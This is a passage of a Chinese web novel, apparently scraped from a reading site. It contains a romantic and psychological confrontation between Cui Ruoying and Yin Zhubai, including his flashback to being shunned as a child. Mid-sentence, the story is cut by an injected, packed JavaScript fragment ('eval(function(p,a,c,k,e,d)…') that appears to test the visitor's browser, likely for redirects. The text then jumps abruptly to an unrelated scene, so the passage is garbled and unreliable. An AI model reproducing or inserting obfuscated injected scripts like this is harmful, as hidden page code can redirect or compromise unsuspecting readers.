崔若盈抬了抬手,指尖触碰到黑猫面具的边缘,粗糙的触感从指尖传来。她目光闪动,慢慢放下了手。 “怎么?不敢见我?” 殷逐白轻笑一声,声音在面具的包围下显得闷热。他看了崔若盈一眼,抬手摘下面具,秀丽的面孔顿时暴露在隐隐约约的灯火中。 褪去了温润如玉的伪装,他的面容更像是惑人心思的妖鬼。嘴唇很薄,眼尾带着淡淡的红色,睫毛纤长如鸦羽。 崔若盈感觉皮肤一凉。原来是他的手。 一双白玉般的手抚上她的脸庞,像是在捧着稀世珍宝。 手指缓缓向后,侵入她的发中,他垂下头,渐渐接近,用自己的额头抵住她的额头,高挺的鼻子与她鼻尖相触,温热的呼吸纠缠不清。 异样的触感传来,崔若盈微微睁大眼,她瞧到殷逐白的眼眸中,映着自己的眼眸。 “你……” 意识到两人离得很近,她说出口的每一个音节都会化作热气落在他唇上,崔若盈止住了想说的话。 “我怎么了?”他看着她,“盈盈为什么不说下去?” 眸光一转,落到她的嘴唇上。那唇上涂了口脂,浅浅的粉色,像是盛开在春日的桃花。会不会是桃子味的? 于是,他舔舐她的嘴唇。 艳红的舌尖如蛇信一般,湿漉漉地在她唇上打转,轻轻舔去她的口脂。 口脂没什么特别的味道,也不是想象中的桃子味,但他的□□没有停。 崔若盈:“……”啊? 这是在干什么? 嘴唇被异物舔湿,带来异样的触感,崔若盈愣了几秒,才意识到这家伙是在舔她的口脂。 他认真极了,仿佛把这视为自己毕生的工作,细细舔舐着每一处角落,连唇缝也不肯放过。 直到崔若盈的口脂被舔净,他才不慌不忙地结束了自己的工作,将下巴埋进她的颈窝。 一转眼,又盯上了她仅剩的那只珍珠耳坠,于是仰起头,一口咬住那颗浅白色的珍珠。她的耳垂也被他搞得湿漉漉,微微发着红。 崔若盈知道这家伙不会轻易放过自己,反而冷静了。 看着殷逐白迫不及待的样子,她轻笑一声,毫无顾忌地说起风凉话来。 “殷家主?殷家主怎么变成这样了?” “殷家主是不是得了不舔点什么就会死的?” “殷家主怎么一直盯着我?你想治病可以回悬玉山庄嘛,我觉得你的手下肯定乐意为你效劳呀。” 她不叫他“殷逐白”,也不叫他“小白”,非要坏心眼地叫他“殷家主”。 这个身份好像是一面雪亮的镜子,他一听见、一看见,就能窥探到自己的丑陋与肮脏。 余光看看他的表情。好,更兴奋了。死便太。 热气喷在她肩上。崔若盈忍不住战栗起来,嘴上却仍旧不留情。 “殷家主为什么要爬我的床?是不是想让我帮你治病?” 听到这句话,殷逐白才缓缓停下动作,抬起头:“你知道?” 崔若盈道:“你把我当傻子?” “那你为什么不揭发我?”他抱紧她,将头靠在她肩上,“你喜欢我,对不对?” 喜欢? 这两个字让崔若盈很是不爽。她的神色骤然冷下来,说出的话,也如雪山上吹下来的瑟瑟寒风。 “我怎么会喜欢你?” 崔若盈冷眼看着他,讽笑一声。 “你美好的一面都是为了戏耍我才装出来的。看着光鲜亮丽,实则是个肮脏卑劣见不得光的脏东西。” 情势忽地逆转。刚刚还来势汹汹的他,忽然僵住了。 她怎么会喜欢他? 对他而言,这实在是个残忍的答案。 原来,他曾经不经意间展露的杀意全被聪明的她洞察;原来,他自以为天衣无缝的伪装,在她眼里只是一层什么也挡不住的遮羞布;原来…… 可是无情的话语还未停止。 “要杀就杀吧,反正我都落到你手里了。”崔若盈只觉索然无味。 也许,她并没有那么想回家,只是厌倦了百年如一日的流浪生活。 与这样孤单、空虚的生活相比,死亡真的不算什么。 “想做什么都随便你。” 他像是溺水的鱼一般仰起头,吐出口中的珍珠。 那颗散发着淡淡光晕的珍珠坠在她耳下,随着她的动作轻轻摇晃,像是一个绝妙的鱼饵。 殷逐白紧紧抱住他,紧得崔若盈几乎喘不过气来。恐慌在他心中积聚成一片乌云。 “我什么也不做。盈盈,别离开我……” 影子化作青灰色的潮水,恬不知耻地拥抱着她。外界的喧嚣被隔绝在小小巷子外,只有情潮在黑暗中不安地翻涌。 他感到害怕。 “你喜欢什么样子,我都可以变。”他抱着她,声音沙哑,“我可以演好的……都可以的。绝对不让你看到脏东西,好不好?” 他是脏东西。永远见不得光的脏东西。 他偷偷跑出后殿,藏在阴暗的角落,暗自窥视着谢流玉在宫墙间走过。 阳光分外钟爱谢流玉,只在钟灵毓秀的少年身上流连,不曾分给他冷淡又短促的一瞥。 有宫女看见他,忙挡住谢流玉,用厌恶的眼神看着他。不祥之人,肮脏之人……脏东西。 侍卫来捉他,把他押回鸟笼一般的后殿。 好害怕。 “我是谢流玉……我是殷逐白……你说我是谁,我就是谁。” 两种恐惧混杂在一起。他的声音已经因恐慌而变了调。太害怕,他失去了分寸,只能急促地吻着她的脖颈,胡言乱语。 “我是……在下是殷家第七十一任家主殷逐白……崔姑娘,崔姑娘别离开我好不好?” 崔若盈:“什么谢流玉殷逐白的,一个比一个烦人。你有病就去治治,行吗?” 她还以为反派的精神病好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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外面人多眼杂,虽然这些人看不见系统面板,但崔若盈也不想在外面唤醒系统,于是只能加快步伐,朝着客栈走去。 也许是她太急了,走了没两步,她就和另一人撞了个满怀。 “对不起对不起。” 崔若盈站稳身子,和对方道了个歉,正欲离开,却听对方道:“这位姑娘,是你呀?” 抬眼一看,她撞到的赫然是一位穿着粉衣的漂亮少年。他长了双细长的狐狸眼,眼中盛满了喜悦。 崔若盈想了两秒才想起来,这不是把月季花掉在她身上的那位吗? 想到自己把他的月季花扔了,她有些尴尬地笑了笑:“真巧,原来是你。” 少年好像没有注意到她的尴尬,也没追问那朵花的下落:“我叫季似春,你叫什么名字呢?” “……崔若盈。” 他弯起眼:“原来是崔姑娘呀。” 崔若盈皱了皱眉。 她不想和这个少年纠缠,正打算找个借口开溜,远方却传来一阵爆裂的响声。 随着这声巨响,人群也跟着不安地骚动起来。崔若盈抬起头,朝着发生响动的方向一看,远远地,只看到江面上泛起金红的火光。